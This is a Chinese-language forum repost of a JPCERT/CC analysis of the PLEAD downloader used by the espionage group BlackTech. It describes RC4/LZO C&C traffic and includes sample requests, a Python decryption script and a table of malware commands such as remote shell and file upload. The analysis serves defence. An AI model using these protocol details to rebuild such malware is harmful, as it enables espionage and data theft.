入侵
BlackTech使用PLEAD下载器攻击东亚地区
JustPlay 2018-06-15 19:48:47 1640人浏览

BlackTech是一个网络间谍组织,针对东亚地区的目标,特别是台湾地区,偶尔还有日本和香港。根据一些C&C服务器的互斥体和域名,BlackTech的活动很可能被设计为窃取其目标技术。

这篇文章对PLEAD下载器的行为进行说明

PLEAD下载器从某些网站下载RC4加密的模块。 图1显示了从服务器下载的加密文件的示例。

fig1.png

下载的文件的前0x20字节是解码文件的RC4密钥。解码后,可以找到该模块(以下称为“PLEAD模块”),C&C服务器,加密密钥等。图2是解密文件的示例。

fig2_en.png

PLEAD模块行为

PLEAD模块基于C&C服务器提供的命令进行操作。 与C&C服务器之间的通信采用RC4加密,然后使用LZO进行压缩。 RC4加密密钥是由自身生成的密钥和从C&C服务器发送的密钥的组合。图3描述了PLEAD模块执行的通信流程。

fig3_en.png

PLEAD模块首先与C&C服务器共享一个RC4密钥。 以下是在通信开始时发送的HTTP GET请求的示例。 Cookie标头包含一个加密的RC4密钥。 在Cookie头中发送的数据中,“D”和“E”互换。 有关数据格式,请参阅附录A中的表A-1和A-2。

GET /index.php?id=1577061168 HTTP/1.1

Cache-Control: no-cache

Accept: */*

Pragma: no-cache

Cookie: 800809D6411C6E2629001900A92309EB26192117C5A59F306E207A8993A2F20121FC3B42B6DF693838

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

Host: [host name]

Connection: Keep-Alive

用于数据加密的RC4密钥长度为32个字节,分为5个块(4字节* 4 + 16字节* 1)。密钥中的第一个块(图3中的Key1)包含在PLEAD模块的配置中。第二个和第三个块(Key2和3)在HTTP GET请求中设置为0。第四个块(Key4)随机生成并插入URL中的“id”后面。第五块(Key5)是基于Key4值生成的。

首先发送的数据包含Key2值。使用该值,收件人服务器将加密Key3值并将其发送到C&C服务器。数据格式在附录A的表A-3和A-4中有描述。这样就产生了一个RC4密钥并用于后续的通信。

下面是一段解密数据的python脚本

def decode(key1, key2, key3, key4, data, lzo_header):

    rc4_key = key1 + pack("III", key2, key3, key4)

    for i in xrange(4):

        key4 = ROR(key4 + 1, 5)

        rc4_key += pack("I", key4)

        

    dec = rc4(data, rc4_key)

    try:

        return lzo.decompress(lzo_header + dec)

    except:

        sys.exit("[!] Lzo decompress error.")

共享RC4密钥后,PLEAD模块使用HTTP POST请求发送有关受感染主机的信息。数据格式与附录A中表A-1所示的相同。

POST /index.php?id=2852129559 HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

Host: [host name]

Content-Length: [data size]

Connection: Keep-Alive

Cache-Control: no-cache

[data]

数据本身包含主机名称,操作系统版本,IP地址,受感染主机的用户帐户名称。图4是解码数据的一个例子。

fig4.png

之后,一个命令将从C&C服务器发送。 PLEAD模块可以根据提供的命令执行以下功能。

发送文件列表

任意shell命令执行

上传/下载文件

文件操作

总结:

正如之前所描述的,攻击者一直在利用各种恶意软件对日本组织进行攻击。由于这一攻击行动很可能持续下去,JPCERT / CC将进行持续观察。

附录A 

PLEAD模块的传输数据

Offset Length Contents
0x00 4 Hash value
0x04 4 RC4 key (Key1)
0x08 2 Data length
0x0A 2 Original length of data with offset 0x0C
0x0C - Encrypted data (RC4+LZO) (Refer to Table A-2)

Cookie头中包含的数据中,“D”和“E”互换。

Cookie头中包含的加密数据的格式

Offset Length Contents
0x00 2 0x0000
0x02 4 RC4 key (Key2)
0x06 - Random numeric

接收的数据格式

Offset Length Contents
0x00 4 RC4 key (Key2)
0x04 4 Hash value
0x08 4 RC4 key (Key1)
0x0C 2 Original length of data with offset 0x0E
0x0E - Encrypted data (RC4+LZO) (Refer to Table A-4)

接收的加密数据的格式

Offset Length Contents
0x00 2 0x0001
0x02 4 RC4 key (Key3)

附录B

命令列表

Value Contents
0x100 Send file list
0x105 Send file size
0x107 Move file
0x109 Delete file
0x10B Upload file
0x10D Execute file
0x10F Execute file (using registry entry value)
0x111 Create directory
0x113 Move file
0x115 Delete directory
0x200 Send file or directory information
0x203 Create directory
0x206 Download file
0x207 Send file information
0x20B Upload file
0x300 Launch remote shell and execute command
0x305 Move current directory
0x307 End remote shell
0x309 Send file list of current directory file
0x30C Delete file or change attribution
0x404 Proxy set up
0x406 Send proxy data
0x408 Receive proxy data
0x40A End proxy

原文链接:

https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html

如下链接是其中三个样本的分析报告

bc2c8cc9896cdd5816509f43cb5dca7433198251d754a997a70db7e8ed5cca40

a26df4f62ada084a596bf0f603691bc9c02024be98abec4a9872f0ff0085f940

eec3f761f7eabe9ed569f39e896be24c9bbb8861b15dbde1b3d539505cd9dd8d








Myhost 2018-06-20 14:04:06 回复
牛逼了
匿名用户 2018-06-16 18:53:29 回复
我也学习了
shiroll 2018-06-16 10:28:06 回复
学习了
匿名用户 2018-06-15 21:12:02 回复
学习了